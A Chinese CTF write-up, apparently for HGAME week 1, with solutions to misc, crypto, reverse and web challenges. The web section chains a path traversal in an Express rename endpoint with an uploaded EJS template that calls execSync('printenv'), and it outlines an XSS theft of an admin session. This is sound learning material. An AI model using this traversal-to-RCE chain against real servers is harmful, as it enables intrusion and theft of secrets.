由于有点忙,只看了下week1,week2没空看了,就签了个到:(
还是学到了挺多东西的:)
签到 TEST NC
从这里开始的序章
Misc Hakuya Want A Girl Friend 一眼压缩包,把十六进制导入010,看到结尾有个倒过来的png
提取出这个png以后发现crc有问题,爆破一下正确的宽高
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import binasciiimport structcrcbp = open ("1.png" , "rb" ).read() crc32frombp = int (crcbp[29 :33 ].hex (),16 ) print (crc32frombp) for i in range (10000 ): for j in range (10000 ): data = crcbp[12 :16 ] + \ struct.pack('>i' , i)+struct.pack('>i' , j)+crcbp[24 :29 ] crc32 = binascii.crc32(data) & 0xffffffff if (crc32 == crc32frombp): print (i, j) print ('hex:' , hex (i), hex (j)) exit(0 )
找到解压密码,解压得到flag
Level 314 线性走廊中的双生实体 先确认一下模型结构
1 2 3 4 5 6 7 8 9 10 import torchentity = torch.jit.load('entity.pt' ) for name, module in entity.named_modules(): print (name) ''' linear1 security relu linear2 '''
security层的代码中涉及了flag
1 2 3 4 import torchentity = torch.jit.load('entity.pt' ) security_layer = entity.security print (security_layer.code)
security层代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def forward (self, x: Tensor ) -> Tensor: _0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004 ), 1.0000000000000001e-05 , 0.0001 ) if _0: _1 = annotate(List [str ], []) flag = self.flag for _2 in range (torch.len (flag)): b = flag[_2] _3 = torch.append(_1, torch.chr (torch.__xor__(b, 85 ))) decoded = torch.join("" , _1) print ("Hidden:" , decoded) else : pass if bool (torch.gt(torch.mean(x), 0.5 )): _4 = annotate(List [str ], []) fake_flag = self.fake_flag for _5 in range (torch.len (fake_flag)): c = fake_flag[_5] _6 = torch.append(_4, torch.chr (torch.sub(c, 3 ))) decoded0 = torch.join("" , _4) print ("Decoy:" , decoded0) else : pass return x
为什么要费心输入呢,直接输出flag它不香么()
1 2 3 import torchprint ('' .join(chr (i^85 ) for i in torch.jit.load('entity.pt' ).security.flag))
Computer cleaner 题目
给了个虚拟机,直接vmware挂载
不用多想,直奔/var/www/html先看看
uploads/shell.php里面找到第一段flag
查看upload_log.txt,找到攻击者ip
访问一下就可以看到第二段flag
从上面的日志中还可以看出第三段flag的位置
Computer cleaner plus 想ps的时候发现没权限,给了权限以后就看到后门程序了(?
Crypto sieve 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Util.number import bytes_to_longfrom sympy import nextprimeFLAG = b'hgame{xxxxxxxxxxxxxxxxxxxxxx}' m = bytes_to_long(FLAG) def trick (k ): if k > 1 : mul = prod(range (1 ,k)) if k - mul % k - 1 == 0 : return euler_phi(k) + trick(k-1 ) + 1 else : return euler_phi(k) + trick(k-1 ) else : return 1 e = 65537 p = q = nextprime(trick(e^2 //6 )<<128 ) n = p * q enc = pow (m,e,n) print (f'{enc=} ' )
一看就是算法爷出的题
用杜教筛算欧拉函数的前缀和,直接把oi-wiki 的代码拿来用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <cstring> #include <iostream> #include <map> using namespace std;constexpr int MAXN = 2000010 ;long long T, n, pri[MAXN], cur, mu[MAXN], sum_mu[MAXN];bool vis[MAXN];map<long long , long long > mp_mu; long long S_mu (long long x) { if (x < MAXN) return sum_mu[x]; if (mp_mu[x]) return mp_mu[x]; long long ret = (long long )1 ; for (long long i = 2 , j; i <= x; i = j + 1 ) { j = x / (x / i); ret -= S_mu (x / i) * (j - i + 1 ); } return mp_mu[x] = ret; } long long S_phi (long long x) { long long ret = (long long )0 ; long long j; for (long long i = 1 ; i <= x; i = j + 1 ) { j = x / (x / i); ret += (S_mu (j) - S_mu (i - 1 )) * (x / i) * (x / i); } return (ret - 1 ) / 2 + 1 ; } int main () { cin.tie (nullptr )->sync_with_stdio (false ); cin >> T; mu[1 ] = 1 ; for (int i = 2 ; i < MAXN; i++) { if (!vis[i]) { pri[++cur] = i; mu[i] = -1 ; } for (int j = 1 ; j <= cur && i * pri[j] < MAXN; j++) { vis[i * pri[j]] = true ; if (i % pri[j]) mu[i * pri[j]] = -mu[i]; else { mu[i * pri[j]] = 0 ; break ; } } } for (int i = 1 ; i < MAXN; i++) sum_mu[i] = sum_mu[i - 1 ] + mu[i]; while (T--) { cin >> n; cout << S_phi (n) << ' ' << S_mu (n) << '\n' ; } return 0 ; }
然后用埃拉托斯特尼筛计算质数个数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import long_to_bytesfrom sympy import nextprimeimport gmpy2import numpy as npdef count_primes (limit ): is_prime = np.ones(limit + 1 , dtype=bool ) is_prime[0 :2 ] = False for current in range (2 , int (np.sqrt(limit)) + 1 ): if is_prime[current]: is_prime[current*current:limit+1 :current] = False return np.sum (is_prime) upper_limit = (65537 **2 ) // 6 prime_count = count_primes(upper_limit) result=155763335410704472 +int (prime_count) enc=2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546 p=nextprime(result<<128 ) phi=p*(p-1 ) d=gmpy2.invert(65537 ,phi) m=long_to_bytes(pow (enc,d,p*p)) print (m)
Reverse Compress dot new 根据题意用ai一把梭
题目
1 2 3 4 def "into b" [] {let arg = $in;0..(( $arg|length ) - 1)|each {|i|$arg|bytes at $i..$i|into int}};def gss [] {match $in {{s:$s,w:$w} => [$s],{a:$a,b:$b,ss:$ss,w:$w} => $ss}};def gw [] {match $in {{s:$s,w:$w} => $w,{a:$a,b:$b,ss:$ss,w:$w} => $w}};def oi [v] {match $in {[] => [$v],[$h,..$t] => {if $v.w < $h.w {[$v,$h] ++ $t} else {[$h] ++ ($t|oi $v)}}}};def h [] {match $in {[] => [],[$n] => $n,[$f,$sn,..$r] => {$r|oi {a:$f,b:$sn,ss:(($f|gss) ++ ($sn|gss)),w:(($f|gw) + ($sn|gw))}|h}}};def gc [] {def t [nd, pth, cd] {match $nd {{s:$s,w:$_} => ($cd|append {s:$s,c:$pth}),{a:$a,b:$b,ss:$_,w:$_} => {t $b ($pth|append 1) (t $a ($pth|append 0) $cd)}}};t $in [] []|each {|e|{s:$e.s,cs:($e.c|each {|c|$c|into string}|str join)}}};def sk [] {match $in {null => null,{s:$s,w:$_} => {s:$s},{a:$a,b:$b,ss:$_,w:$_} => {a:($a|sk),b:($b|sk)}}};def bf [] {$in|into b|reduce -f (0..255|reduce -f [] {|i,a|$a|append 0}) {|b,a|$a|update $b (($a|get $b) + 1)}|enumerate|filter {|e|$e.item > 0}|each {|e|{s:$e.index,w:$e.item}}};def enc [cd] {$in|into b|each {|b|$cd|filter {|e|$e.s == $b}|first|get "cs"}|str join};def compress []: binary -> string {let t = $in|bf|h;[($t|sk|to json --raw), ($in|enc ($t|gc))]|str join "\n"} # source compress.nu; open ./flag.txt --raw | into binary | compress | save enc.txt
enc.txt
1 2 {"a":{"a":{"a":{"a":{"a":{"s":125},"b":{"a":{"s":119},"b":{"s":123}}},"b":{"a":{"s":104},"b":{"s":105}}},"b":{"a":{"s":101},"b":{"s":103}}},"b":{"a":{"a":{"a":{"s":10},"b":{"s":13}},"b":{"s":32}},"b":{"a":{"s":115},"b":{"s":116}}}},"b":{"a":{"a":{"a":{"a":{"a":{"s":46},"b":{"s":48}},"b":{"a":{"a":{"s":76},"b":{"s":78}},"b":{"a":{"s":83},"b":{"a":{"s":68},"b":{"s":69}}}}},"b":{"a":{"a":{"s":44},"b":{"a":{"s":33},"b":{"s":38}}},"b":{"s":45}}},"b":{"a":{"a":{"s":100},"b":{"a":{"s":98},"b":{"s":99}}},"b":{"a":{"a":{"s":49},"b":{"s":51}},"b":{"s":97}}}},"b":{"a":{"a":{"a":{"s":117},"b":{"s":118}},"b":{"a":{"a":{"s":112},"b":{"s":113}},"b":{"s":114}}},"b":{"a":{"a":{"s":108},"b":{"s":109}},"b":{"a":{"s":110},"b":{"s":111}}}}}} 00010001110111111010010000011100010111000100111000110000100010111001110010011011010101111011101100110100011101101001110111110111011011001110110011110011110110111011101101011001111011001111000111001101111000011001100001011011101100011100101001110010111001111000011000101001010000000100101000100010011111110110010111010101000111101000110110001110101011010011111111001111111011010101100001101110101101111110100100111100100010110101111111111100110001010101101110010011111000110110101101111010000011110100000110110101011000111111000110101001011100000110111100000010010100010001011100011100111001011101011111000101010110101111000001100111100011100101110101111100010110101110000010100000010110001111011100011101111110101010010011101011100100011110010010110111101110111010111110110001111010101110010001011100100101110001011010100001110101000101111010100110001110101011101100011011011000011010000001011000111011111111100010101011100000
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import jsondef decode_huffman (encoded_str, huffman_tree ): current_node = huffman_tree decoded_bytes = bytearray () for bit in encoded_str: if bit == '0' : current_node = current_node['a' ] else : current_node = current_node['b' ] if 's' in current_node: decoded_bytes.append(current_node['s' ]) current_node = huffman_tree return bytes (decoded_bytes) def read_encoded_file (file_path ): with open (file_path, 'r' ) as file: lines = file.readlines() huffman_tree_json = lines[0 ].strip() encoded_str = '' .join(lines[1 :]).strip() huffman_tree = json.loads(huffman_tree_json) return huffman_tree, encoded_str def main (): input_file = 'enc.txt' output_file = 'decoded_output.txt' huffman_tree, encoded_str = read_encoded_file(input_file) decoded_data = decode_huffman(encoded_str, huffman_tree) with open (output_file, 'wb' ) as file: file.write(decoded_data) if __name__ == '__main__' : main()
Turtle 第一次做手动upx脱壳,这里就写详细一点,参考这篇文章
用x64dbg打开,查看断点
按两次F9到push的断点
F7单步调试走完push
在RSP上点击在内存窗口中转到
右下角设置硬件断点
F9运行到断点处
看到jmp,设置断点,F9
F7步入
这里就是程序本体,开始dump
点击scylla插件
IAT Autosearch然后Get Imports
删除打叉的节点
先Dump然后对之前Dump下来的东西Fix Dump
至此脱壳完成
接下来用IDA看一下
跟进函数以后再分析可以得知这个程序的流程大概是先用普通RC4对密钥加密验证输入的密钥,然后用魔改过的RC4和正确的密钥对密文加密验证输入的密文
exp:
解密钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 def rc4_init (key ): S = list (range (256 )) j = 0 for i in range (256 ): j = (j + S[i] + ord (key[i % len (key)])) % 256 S[i], S[j] = S[j], S[i] return S def rc4_encrypt (S, plaintext ): i = j = 0 output = [] for byte in plaintext: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256 ] output.append(byte ^ K) return bytes (output) ciphertext = [-51 ,-113 ,37 ,61 ,-31 ] ciphertext_bytes = bytes ([x if x >= 0 else x + 256 for x in ciphertext])+b'QJ' key = "yekyek" S_box = rc4_init(key) plaintext = rc4_encrypt(S_box, ciphertext_bytes print ("解密后的文本:" , plaintext)try : print ("解密后的文本(字符串形式):" , plaintext.decode('utf-8' )) except UnicodeDecodeError: print ("无法以UTF-8格式解码结果,可能需要其他编码格式或是二进制数据" )
解密文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def rc4_init (key ): S = list (range (256 )) j = 0 for i in range (256 ): j = (j + S[i] + ord (key[i % len (key)])) % 256 S[i], S[j] = S[j], S[i] return S def rc4_encrypt (S, plaintext ): i = j = 0 output = [] for byte in plaintext: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256 ] output.append(byte +K) for i in range (len (output)): output[i]=output[i]%256 return bytes (output) ciphertext = [-8 , -43 , 98 , -49 , 67 , -70 , -62 , 35 , 21 , 74 , 81 , 16 , 39 , 16 , -79 , -49 , -60 , 9 , -2 , -29 , -97 , 73 , -121 , -22 , 89 , -62 , 7 , 59 , -87 , 17 , -63 , -68 , -3 , 75 , 87 , -60 , 126 , -48 , -86 , 10 ] ciphertext_bytes = bytes ([x if x >= 0 else x + 256 for x in ciphertext]) key = "ecg4ab6" S_box = rc4_init(key) plaintext = rc4_encrypt(S_box, ciphertext_bytes) print ("解密后的文本:" , plaintext)try : print ("解密后的文本(字符串形式):" , plaintext.decode('utf-8' )) except UnicodeDecodeError: print ("无法以UTF-8格式解码结果,可能需要其他编码格式或是二进制数据" )
Web Level 24 Pacman 在index.js里面可以看到疑似flag的东西
Level 47 BandBomb 题目给出的app.js源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 const express = require ('express' );const multer = require ('multer' );const fs = require ('fs' );const path = require ('path' );const app = express ();app.set ('view engine' , 'ejs' ); app.use ('/static' , express.static (path.join (__dirname, 'public' ))); app.use (express.json ()); const storage = multer.diskStorage ({ destination : (req, file, cb ) => { const uploadDir = 'uploads' ; if (!fs.existsSync (uploadDir)) { fs.mkdirSync (uploadDir); } cb (null , uploadDir); }, filename : (req, file, cb ) => { cb (null , file.originalname ); } }); const upload = multer ({ storage : storage, fileFilter : (_, file, cb ) => { try { if (!file.originalname ) { return cb (new Error ('无效的文件名' ), false ); } cb (null , true ); } catch (err) { cb (new Error ('文件处理错误' ), false ); } } }); app.get ('/' , (req, res ) => { const uploadsDir = path.join (__dirname, 'uploads' ); if (!fs.existsSync (uploadsDir)) { fs.mkdirSync (uploadsDir); } fs.readdir (uploadsDir, (err, files ) => { if (err) { return res.status (500 ).render ('mortis' , { files : [] }); } res.render ('mortis' , { files : files }); }); }); app.post ('/upload' , (req, res ) => { upload.single ('file' )(req, res, (err ) => { if (err) { return res.status (400 ).json ({ error : err.message }); } if (!req.file ) { return res.status (400 ).json ({ error : '没有选择文件' }); } res.json ({ message : '文件上传成功' , filename : req.file .filename }); }); }); app.post ('/rename' , (req, res ) => { const { oldName, newName } = req.body ; const oldPath = path.join (__dirname, 'uploads' , oldName); const newPath = path.join (__dirname, 'uploads' , newName); if (!oldName || !newName) { return res.status (400 ).json ({ error : ' ' }); } fs.rename (oldPath, newPath, (err ) => { if (err) { return res.status (500 ).json ({ error : ' ' + err.message }); } res.json ({ message : ' ' }); }); }); app.listen (port, () => { console .log (`服务器运行在 http://localhost:${port} ` ); });
不难发现rename处存在目录穿越,而且可以通过访问/static/xxx来将对应的文件下载下来,因此我们只要利用漏洞穿越将想查看的文件放到public文件夹中即可
访问/static/1.ejs得到mortis.ejs:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 <!DOCTYPE html> <html> <head> <title>Ave Mujica</title> <meta charset="UTF-8"> <style> :root { --bg-color: #1a1a1a; --text-color: #e0e0e0; --accent-color: #ff4444; --border-color: #333; --hover-color: #2a2a2a; --button-bg: #ff4444; --button-hover: #ff6666; } body { padding: 20px; margin: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: var(--bg-color); color: var(--text-color); min-height: 100vh; background-image: url('/static/UmiTaki.webp'); background-size: cover; background-position: center; background-attachment: fixed; position: relative; } body::before { content: ''; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(26, 26, 26, 0.85); z-index: 0; } .container { max-width: 800px; margin: 0 auto; padding: 20px; position: relative; z-index: 1; } h2 { color: var(--accent-color); font-size: 2em; margin-bottom: 1.5em; text-transform: uppercase; letter-spacing: 2px; text-align: center; text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3); } .upload-section { padding: 2em; margin-bottom: 2em; text-align: center; } .upload-form { display: flex; justify-content: center; align-items: center; gap: 20px; } .file-input-container { position: relative; } input[type="file"] { display: none; } .file-input-label { display: inline-block; padding: 12px 24px; color: white; cursor: pointer; text-transform: uppercase; letter-spacing: 1px; font-size: 0.9em; white-space: nowrap; background-color: var(--accent-color); border-radius: 8px; box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3); } button[type="submit"] { color: white; border: none; padding: 12px 24px; cursor: pointer; text-transform: uppercase; letter-spacing: 1px; font-size: 0.9em; white-space: nowrap; background-color: var(--accent-color); border-radius: 8px; box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3); } .meme-section { padding: 2em; margin-bottom: 2em; text-align: center; } .file-list { margin-bottom: 2em; } .file-item { margin: 10px 0; padding: 15px 20px; border-radius: 5px; transition: all 0.3s ease; border: 2px solid var(--accent-color); background: transparent; } .file-item:hover { background: var(--accent-color); transform: translateX(5px); } .file-name { font-size: 1.1em; color: var(--text-color); } .meme-image { max-width: 200px; transition: transform 0.3s ease; margin-top: 2em; border-radius: 10px; box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3); } .meme-image:hover { transform: scale(1.05); } .selected-file-name { position: absolute; bottom: -25px; left: 50%; transform: translateX(-50%); color: var(--accent-color); font-size: 0.9em; white-space: nowrap; max-width: 200px; overflow: hidden; text-overflow: ellipsis; } @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .file-item { animation: fadeIn 0.5s ease forwards; } </style> </head> <body> <div class="container"> <h2>Ave Mujica ! ! ! !!</h2> <div class="upload-section"> <form id="uploadForm" class="upload-form"> <div class="file-input-container"> <label class="file-input-label" for="fileInput"> 选择文件 </label> <input id="fileInput" type="file" name="file" required> <div id="selectedFileName" class="selected-file-name"></div> </div> <button type="submit">上传文件</button> </form> </div> <div class="meme-section"> <div id="fileList" class="file-list"> <% if (files && files.length > 0) { %> <% files.forEach(function(file) { %> <div class="file-item"> <span class="file-name"><%= file %></span> </div> <% }); %> <% } else { %> <p style="text-align: center; color: rgba(255,255,255,0.5);">我们的乐队蒸蒸日上</p> <p style="display: none;">只是UmiTaki而已</p> <% } %> </div> <img src="/static/Eruption.jpg" alt="表情包" class="meme-image"> </div> </div> <script> // 显示选择的文件名 document.getElementById('fileInput').addEventListener('change', function(e) { const fileName = e.target.files[0]?.name || ''; document.getElementById('selectedFileName').textContent = fileName; }); // 上传文件 document.getElementById('uploadForm').onsubmit = async (e) => { e.preventDefault(); const formData = new FormData(e.target); try { const response = await fetch('/upload', { method: 'POST', body: formData }); const result = await response.json(); if (result.error) { alert(result.error); } else { alert(result.message); window.location.reload(); } } catch (err) { alert('上传失败: ' + err.message); } }; </script> </body> </html>
试了下发现常见的地方都找不到flag,那么flag应该是在环境变量中,给这个ejs加点料进去再传回去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 <!DOCTYPE html> <html> <head> <title>Ave Mujica</title> <meta charset="UTF-8"> <style> :root { --bg-color: #1a1a1a; --text-color: #e0e0e0; --accent-color: #ff4444; --border-color: #333; --hover-color: #2a2a2a; --button-bg: #ff4444; --button-hover: #ff6666; } body { padding: 20px; margin: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: var(--bg-color); color: var(--text-color); min-height: 100vh; background-image: url('/static/UmiTaki.webp'); background-size: cover; background-position: center; background-attachment: fixed; position: relative; } body::before { content: ''; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(26, 26, 26, 0.85); z-index: 0; } .container { max-width: 800px; margin: 0 auto; padding: 20px; position: relative; z-index: 1; } h2 { color: var(--accent-color); font-size: 2em; margin-bottom: 1.5em; text-transform: uppercase; letter-spacing: 2px; text-align: center; text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3); } .upload-section { padding: 2em; margin-bottom: 2em; text-align: center; } .upload-form { display: flex; justify-content: center; align-items: center; gap: 20px; } .file-input-container { position: relative; } input[type="file"] { display: none; } .file-input-label { display: inline-block; padding: 12px 24px; color: white; cursor: pointer; text-transform: uppercase; letter-spacing: 1px; font-size: 0.9em; white-space: nowrap; background-color: var(--accent-color); border-radius: 8px; box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3); } button[type="submit"] { color: white; border: none; padding: 12px 24px; cursor: pointer; text-transform: uppercase; letter-spacing: 1px; font-size: 0.9em; white-space: nowrap; background-color: var(--accent-color); border-radius: 8px; box-shadow: 0 4px 15px rgba(255, 68, 68, 0.3); } .meme-section { padding: 2em; margin-bottom: 2em; text-align: center; } .file-list { margin-bottom: 2em; } .file-item { margin: 10px 0; padding: 15px 20px; border-radius: 5px; transition: all 0.3s ease; border: 2px solid var(--accent-color); background: transparent; } .file-item:hover { background: var(--accent-color); transform: translateX(5px); } .file-name { font-size: 1.1em; color: var(--text-color); } .meme-image { max-width: 200px; transition: transform 0.3s ease; margin-top: 2em; border-radius: 10px; box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3); } .meme-image:hover { transform: scale(1.05); } .selected-file-name { position: absolute; bottom: -25px; left: 50%; transform: translateX(-50%); color: var(--accent-color); font-size: 0.9em; white-space: nowrap; max-width: 200px; overflow: hidden; text-overflow: ellipsis; } @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .file-item { animation: fadeIn 0.5s ease forwards; } </style> </head> <body> <div class="container"> <h2>Ave Mujica ! ! ! !!</h2> <div class="upload-section"> <form id="uploadForm" class="upload-form"> <div class="file-input-container"> <label class="file-input-label" for="fileInput"> 选择文件 </label> <input id="fileInput" type="file" name="file" required> <div id="selectedFileName" class="selected-file-name"></div> </div> <button type="submit">上传文件</button> </form> </div> <pre> <%- process.mainModule.require('child_process').execSync('printenv').toString() %> </pre> <div class="meme-section"> <div id="fileList" class="file-list"> <% if (files && files.length > 0) { %> <% files.forEach(function(file) { %> <div class="file-item"> <span class="file-name"><%= file %></span> </div> <% }); %> <% } else { %> <p style="text-align: center; color: rgba(255,255,255,0.5);">我们的乐队蒸蒸日上</p> <p style="display: none;">只是UmiTaki而已</p> <% } %> </div> <img src="/static/Eruption.jpg" alt="表情包" class="meme-image"> </div> </div> <script> // 显示选择的文件名 document.getElementById('fileInput').addEventListener('change', function(e) { const fileName = e.target.files[0]?.name || ''; document.getElementById('selectedFileName').textContent = fileName; }); // 上传文件 document.getElementById('uploadForm').onsubmit = async (e) => { e.preventDefault(); const formData = new FormData(e.target); try { const response = await fetch('/upload', { method: 'POST', body: formData }); const result = await response.json(); if (result.error) { alert(result.error); } else { alert(result.message); window.location.reload(); } } catch (err) { alert('上传失败: ' + err.message); } }; </script> </body> </html>
Level 69 MysteryMessageBoard 爆破得密码是888888
看题目描述就是xss
访问/admin,让机器人登录上去访问一下得到admin的session
用这个session去访问/flag即可得到flag